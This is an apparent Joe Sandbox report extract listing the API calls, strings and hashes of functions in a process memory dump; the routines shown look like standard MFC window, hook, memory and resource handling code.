CopyRect.USER32(?,?), ref: 0087F9B6
GetWindowRect.USER32(00000000,?), ref: 0087F9C3
MonitorFromWindow.USER32(00000000,00000002), ref: 0087F9D0
GetMonitorInfoA.USER32(00000000), ref: 0087F9D7
CopyRect.USER32(?,?), ref: 0087F9E5
GetParent.USER32(00883AD7), ref: 0087F9F0
GetClientRect.USER32(00000000,?), ref: 0087F9FD
GetClientRect.USER32(00000000,?), ref: 0087FA08
MapWindowPoints.USER32(00000000,00000000,?,00000002), ref: 0087FA16

Strings

(, xrefs: 0087F983

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$Rect$Monitor$ClientCopyFromInfoLongParent$MessagePointsSend
String ID: (
API String ID: 3610148278-3887548279
Opcode ID: 1c03c0e7a0847549e2d9647be7e78f5851e407bf2776cba9098fe05269cc25f9
Instruction ID: d0d10e0d3fd7d6b52aea90bffc96031fc89006ad852dc9e35d9d7c5c6b23175f
Opcode Fuzzy Hash: 1c03c0e7a0847549e2d9647be7e78f5851e407bf2776cba9098fe05269cc25f9
Instruction Fuzzy Hash: 92614DB291021AAFCB00DFA8DD89BAEBBB9FF48314F158125E605E7255D734EE01CB50

Function 0088378F Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 66
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetClassNameA.USER32(?,?,00000100), ref: 008837AA
GetClassLongA.USER32(?,000000E0), ref: 008837CE
GetWindowLongA.USER32(?,000000FC), ref: 008837E3
GetPropA.USER32(?,AfxOldWndProc423), ref: 008837F5
SetPropA.USER32(?,AfxOldWndProc423,00000000), ref: 00883806
GetPropA.USER32(?,AfxOldWndProc423), ref: 00883812
GlobalAddAtomA.KERNEL32(AfxOldWndProc423), ref: 00883821
SetWindowLongA.USER32(?,000000FC,Function_00023483), ref: 0088382F
CallNextHookEx.USER32(?,00000003,?,?), ref: 00883841
UnhookWindowsHookEx.USER32(?), ref: 00883855

Strings

AfxOldWndProc423, xrefs: 008837EF, 00883800, 0088380C, 0088381C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: LongProp$ClassHookWindow$AtomCallGlobalNameNextUnhookWindows
String ID: AfxOldWndProc423
API String ID: 3422115740-1060338832
Opcode ID: e9ae9d29c98671f9d42346b8a2f30c3f91d95f253ea8d2602da728b0e64a33fa
Instruction ID: bb0308235951f00763a421ca224393c018393b043d756a237f19fa7c12c78e1a
Opcode Fuzzy Hash: e9ae9d29c98671f9d42346b8a2f30c3f91d95f253ea8d2602da728b0e64a33fa
Instruction Fuzzy Hash: E711DF75118291ABDB227B21DC8DFBE3A78FB49F64F004264F505E62A1DB248F42E760

Function 00883483 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_catch_GS.LIBCMT ref: 0088348A
GetPropA.USER32(?,AfxOldWndProc423), ref: 008834A1
CallWindowProcA.USER32(?,?,00000110,?,?), ref: 00883505

Part of subcall function 00883A3C: GetWindowRect.USER32(?,?), ref: 00883A7D
Part of subcall function 00883A3C: GetWindow.USER32(00000004,00000004), ref: 00883A9A

SetWindowLongA.USER32(?,000000FC,00000000), ref: 00883525
RemovePropA.USER32(?,AfxOldWndProc423), ref: 00883532
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 00883539
GlobalDeleteAtom.KERNEL32(?), ref: 00883543

Part of subcall function 00883AE7: GetWindowRect.USER32(?,?), ref: 00883AF4

CallWindowProcA.USER32(?,?,?,?,?), ref: 0088359A

Strings

AfxOldWndProc423, xrefs: 00883495, 0088352B, 00883530, 00883538

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prolog3_catch_LongRemove
String ID: AfxOldWndProc423
API String ID: 3351853316-1060338832
Opcode ID: dd2c6fdab9d0e6874fa3925fa904cbaea70abf8ddc73880fc769a3bf58530a95
Instruction ID: c76839adeec1b5460ce61f152f5911bdc319fc8e58d37cd6874b9272e26fde60
Opcode Fuzzy Hash: dd2c6fdab9d0e6874fa3925fa904cbaea70abf8ddc73880fc769a3bf58530a95
Instruction Fuzzy Hash: 373160B1910258BBDF05BFA9DC598BFBAB8FF48B10B008519F512E7251DB758F009B61

Function 00886748 Relevance: 15.1, APIs: 10, Instructions: 111
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(?), ref: 0088675D
GlobalAlloc.KERNEL32(00000002,00000000), ref: 008867B8
GlobalHandle.KERNEL32(?), ref: 008867C2
GlobalUnlock.KERNEL32(00000000), ref: 008867CB
GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 008867E5
GlobalLock.KERNEL32(00000000), ref: 008867F0
LeaveCriticalSection.KERNEL32(?), ref: 0088683A
GlobalHandle.KERNEL32(?), ref: 0088684E
GlobalLock.KERNEL32(00000000), ref: 00886855
LeaveCriticalSection.KERNEL32(?), ref: 0088685F

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: a783ea7e1dcf68de445852c5f672d3e8a242bfdeb743211cd4feae3143d00efe
Instruction ID: c51d41835c864cd945be445c6d74bdb3be76247593058918f9c2dfa3fdc46833
Opcode Fuzzy Hash: a783ea7e1dcf68de445852c5f672d3e8a242bfdeb743211cd4feae3143d00efe
Instruction Fuzzy Hash: FF41AD31600244AFDB25EF68D889F69BBF9FF44305F008469E856DB290EB70EE04CB91

Function 00867949 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 246
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00867996
CoCreateGuid.COMBASE(?,00000000,00000000,00000030,?,?,?,?,80070057,00000000,?,0086772F,?,?,?), ref: 008679F3
_strlen.LIBCMT ref: 00867A71
_strlen.LIBCMT ref: 00867A87
_strlen.LIBCMT ref: 00867ABF
SysFreeString.OLEAUT32(?), ref: 00867BE9

Strings

RestartByRestartManager, xrefs: 00867A6B, 00867A70, 00867A78
%08lX-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X, xrefs: 00867A43

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: _strlen$CreateFreeGuidH_prolog3_String
String ID: %08lX-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X$RestartByRestartManager
API String ID: 1721273623-5890034
Opcode ID: b7dc799c1bf30fb029be1c7b7eb9b2e27a962567621e1e6294b666481846c94b
Instruction ID: 0c02836ebe4228d3d9c28077bbf61f860626a2ff67d2dea8cf0d2418bb07ee8d
Opcode Fuzzy Hash: b7dc799c1bf30fb029be1c7b7eb9b2e27a962567621e1e6294b666481846c94b
Instruction Fuzzy Hash: 3891BD71904148AFCB01EBA8D895EFEBBB9FF08314F154068F545EB292DB34AE40CB61

Function 00887B94 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 33
registrylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00867C22,?,?), ref: 00887BA6
GetProcAddress.KERNEL32(00000000,RegisterApplicationRestart), ref: 00887BB6
EncodePointer.KERNEL32(00000000,?,?,00867C22,?,?), ref: 00887BBF
DecodePointer.KERNEL32(769A7A25,?,?,00867C22,?,?), ref: 00887BCD
RegisterApplicationRestart.KERNEL32(?,?,00867C22,?,?), ref: 00887BE7

Strings

kernel32.dll, xrefs: 00887BA1
RegisterApplicationRestart, xrefs: 00887BB0

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Pointer$AddressApplicationDecodeEncodeHandleModuleProcRegisterRestart
String ID: RegisterApplicationRestart$kernel32.dll
API String ID: 2334171955-1259503209
Opcode ID: da26aa86d11f73e2564808a71f0bebf0e8c1caa5d2d7fcf474785c98a96537e4
Instruction ID: d0bcb6a22f7373a5d58318c791c9334d77d796babe654fb9e2121309979f38c4
Opcode Fuzzy Hash: da26aa86d11f73e2564808a71f0bebf0e8c1caa5d2d7fcf474785c98a96537e4
Instruction Fuzzy Hash: C1F08239518355AFCB127B65DC9CD6B3EADFB88BA83508421FC05EB220EB71DD419B90

Function 00875AF2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 146
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalLock.KERNEL32(00000000), ref: 00875BE2

Strings

b:, xrefs: 00875B7B
y, xrefs: 00875AFD

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: GlobalLock
String ID: b:$y
API String ID: 2848605275-3376816535
Opcode ID: 25fbe74d956e479b6d02a449c621114587d225a634eb9a045e0576b802d74302
Instruction ID: cc4be0be0e15186dee222a4de41ea6a49e30714306ff49f7c9ba638adae852cc
Opcode Fuzzy Hash: 25fbe74d956e479b6d02a449c621114587d225a634eb9a045e0576b802d74302
Instruction Fuzzy Hash: 3C516F30D00659AFCB15DFA4C985ABEBBB4FF48310F048059E919EB2A5DB74EE00DB91

Function 00882B54 Relevance: 10.6, APIs: 7, Instructions: 127
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetParent.USER32(?), ref: 00882B81
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 00882BA5
UpdateWindow.USER32(?), ref: 00882BBF
SendMessageA.USER32(?,00000121,?,?), ref: 00882BE2
SendMessageA.USER32(?,0000036A,00000000,?), ref: 00882BF9
UpdateWindow.USER32(?), ref: 00882C4A
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 00882C93

Part of subcall function 0088562B: GetWindowLongA.USER32(00000000,000000F0), ref: 00885638

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Message$Window$PeekSendUpdate$LongParent
String ID:
API String ID: 2853195852-0
Opcode ID: 923551c2c710bb0b8eb6c057f8787bd6e1ffaf244213a418eb183f339505d2a0
Instruction ID: 65b71a2741e754ea267530d91406e3adc64e787be18f19934c94fb690f27993e
Opcode Fuzzy Hash: 923551c2c710bb0b8eb6c057f8787bd6e1ffaf244213a418eb183f339505d2a0
Instruction Fuzzy Hash: FD419131B04205FBEB21AFA5CD89B6DBBB5FF14B54F148068E905EB1A1D7B1DE409B80

Function 0086839A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 118
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00868348: QueryActCtxW.KERNEL32(?,008683E7,80000010,00A3A008,00000000,00000001,?,00000008,00000000,00A26E88,00000268,008682AB,?,?,00876518,00000000), ref: 00868393

LoadLibraryW.KERNEL32(Comctl32.dll,00000000,00000000,00000002,Comctl32.dll,00000040), ref: 00868530

Part of subcall function 008682F6: DeactivateActCtx.KERNEL32(?,00868161,009E3E28,00A3FD94,DeactivateActCtx,00000000,?,00876590,00000000,00000000,00876546), ref: 00868317
Part of subcall function 008682F6: GetProcAddress.KERNEL32(00000000,00000000), ref: 00868324

GetModuleFileNameW.KERNEL32(?,?,00000105,?,00876518,00000000,00A27AD0,00000010,00875C16,?,?,?,008758B7,00000000), ref: 0086844A
SetLastError.KERNEL32(0000006F,?,00876518,00000000,00A27AD0,00000010,00875C16,?,?,?,008758B7,00000000), ref: 0086845E
GetLastError.KERNEL32(00000020), ref: 008684B5

Strings

GetModuleHandleExW, xrefs: 008683FD
Comctl32.dll, xrefs: 0086851C, 00868521, 0086852F

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: ErrorLast$AddressDeactivateFileLibraryLoadModuleNameProcQuery
String ID: Comctl32.dll$GetModuleHandleExW
API String ID: 1356011737-1171143627
Opcode ID: f54dc7e5574008cdfbfc6579aa4efe487b6ba56260b3c51be82fcedc711de9d2
Instruction ID: c4b7287e7b10bb5e9434719f64ee91382cb3494bd0008488cce12724d6e721be
Opcode Fuzzy Hash: f54dc7e5574008cdfbfc6579aa4efe487b6ba56260b3c51be82fcedc711de9d2
Instruction Fuzzy Hash: 7741AF71A00228EBDB319B68DC8DBAA76B8FB44754F1147A6F41EE61D0DF748E848F11

Function 00875E37 Relevance: 10.6, APIs: 7, Instructions: 102
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDesktopWindow.USER32 ref: 00875E50
IsWindowEnabled.USER32 ref: 00875E5B
EnableWindow.USER32(?,00000000), ref: 00875E67

Part of subcall function 0088579D: IsWindowEnabled.USER32(?), ref: 008857A8

Part of subcall function 008850BB: EnableWindow.USER32(?,?), ref: 008850CC

EnableWindow.USER32(?,00000001), ref: 00875F4B
GetActiveWindow.USER32 ref: 00875F55
SetActiveWindow.USER32(?,?,00000001), ref: 00875F61
FreeResource.KERNEL32(?), ref: 00875F8B

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Window$Enable$ActiveEnabled$DesktopFreeResource
String ID:
API String ID: 3061593347-0
Opcode ID: 73dfe3de0a23abc14326d8b5009b0e81b45c60e9a8476385c1cea24b763979af
Instruction ID: 8d9a1d8d1377f8a9f460dbfa8b1945f6d02823881a9c47a156e250bb9343cdaf
Opcode Fuzzy Hash: 73dfe3de0a23abc14326d8b5009b0e81b45c60e9a8476385c1cea24b763979af
Instruction Fuzzy Hash: 97319370A01A15DBCF10ABA4C889BAE7BB5FF08311F048014E809E7295CBB59E40DFA1

Function 0087EAC0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 65threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0087EACE
SetWindowsHookExA.USER32(00000005,008835EA,00000000,00000000), ref: 0087EADE

Strings

HtmlHelpA, xrefs: 0087EB3B
hhctrl.ocx, xrefs: 0087EB25

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CurrentHookThreadWindows
String ID: HtmlHelpA$hhctrl.ocx
API String ID: 1904029216-63838506
Opcode ID: 76016f2e9ddbe67b221d1fa7b4737fc85e325447354c00a1b1893c9e513cf5b7
Instruction ID: 59c38418fed57674b633aaeb5545850bccae782f988247b4f5221f3ecad1f80a
Opcode Fuzzy Hash: 76016f2e9ddbe67b221d1fa7b4737fc85e325447354c00a1b1893c9e513cf5b7
Instruction Fuzzy Hash: DB11E131200719EBC7216FA2DC4AB2B7FA5FB447A1F00C42AFA1EE65A4D771DD409B61

Function 0093254A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00932551

Part of subcall function 0091D58C: EnterCriticalSection.KERNEL32(00A43210,?,?,?,?,0093258E,00000003,?,?,?,00000004,00933D30,?,?,?,00861263), ref: 0091D5BD
Part of subcall function 0091D58C: InitializeCriticalSection.KERNEL32(00000000,?,?,?,?,0093258E,00000003,?,?,?,00000004,00933D30,?,?,?,00861263), ref: 0091D5D3
Part of subcall function 0091D58C: LeaveCriticalSection.KERNEL32(00A43210,?,?,?,?,0093258E,00000003,?,?,?,00000004,00933D30,?,?,?,00861263), ref: 0091D5E1
Part of subcall function 0091D58C: EnterCriticalSection.KERNEL32(00000000,?,?,?,0093258E,00000003,?,?,?,00000004,00933D30,?,?,?,00861263), ref: 0091D5EE

GetProfileIntA.KERNEL32(windows,DragMinDist,00000002), ref: 009325A4
GetProfileIntA.KERNEL32(windows,DragDelay,000000C8), ref: 009325BA

Strings

DragMinDist, xrefs: 00932599
windows, xrefs: 0093259E, 009325A3, 009325B4
DragDelay, xrefs: 009325AF

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CriticalSection$EnterProfile$H_prolog3InitializeLeave
String ID: DragDelay$DragMinDist$windows
API String ID: 3965097884-2101198082
Opcode ID: 2b8696637148e9622779767e03c5dfd07c7cf40e2ba00978ccfe7bc9680fbafb
Instruction ID: aeee86db627b5eadfbb7f86726b2019e3784a2af565abffcc8928387592ca09a
Opcode Fuzzy Hash: 2b8696637148e9622779767e03c5dfd07c7cf40e2ba00978ccfe7bc9680fbafb
Instruction Fuzzy Hash: F401B1B49017049FCBA0DF74C84575A7AF0BB88700F80842EF249DB645DFB0A645CF04

Function 00866200 Relevance: 9.1, APIs: 6, Instructions: 119COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(00000000,?,00000006,?,?,?,?,?,?,00865FE0,-00000010,?,?,?,00000000,009D50D8), ref: 0086622E
LoadResource.KERNEL32(00000000,00000000,?,?,?,?,00865FE0,-00000010,?,?,?,00000000,009D50D8,000000FF,?,00867632), ref: 00866241
LockResource.KERNEL32(00000000,?,?,?,?,00865FE0,-00000010,?,?,?,00000000,009D50D8,000000FF,?,00867632,00A1BF68), ref: 00866250
SizeofResource.KERNEL32(00000000,?,?,?,?,?,00865FE0,-00000010,?,?,?,00000000,009D50D8,000000FF,?,00867632), ref: 00866264
WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00865FE0,-00000010,?,?), ref: 008662A5
WideCharToMultiByte.KERNEL32(00000003,00000000,00000002,00000000,00000000,00000000,00000000,00000000,?,?,?,?,00865FE0,-00000010,?,?), ref: 008662E3

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Resource$ByteCharMultiWide$FindLoadLockSizeof
String ID:
API String ID: 1289833662-0
Opcode ID: 0d3dc35d9a156dc726efb1ab605fc9d27dc2d4123de758d6ade7adf055d9b5ee
Instruction ID: decdbebde35312f6da381208b0886b1ecc61cc1a02c28e6533bb91e318b4c8ae
Opcode Fuzzy Hash: 0d3dc35d9a156dc726efb1ab605fc9d27dc2d4123de758d6ade7adf055d9b5ee
Instruction Fuzzy Hash: BD310172600254ABE7218F98DD89F7AB7ACFB51710F01415AFA41DF390EA71FC1086A0

Function 00876430 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 59COMMON

Download Yara Rule

Strings

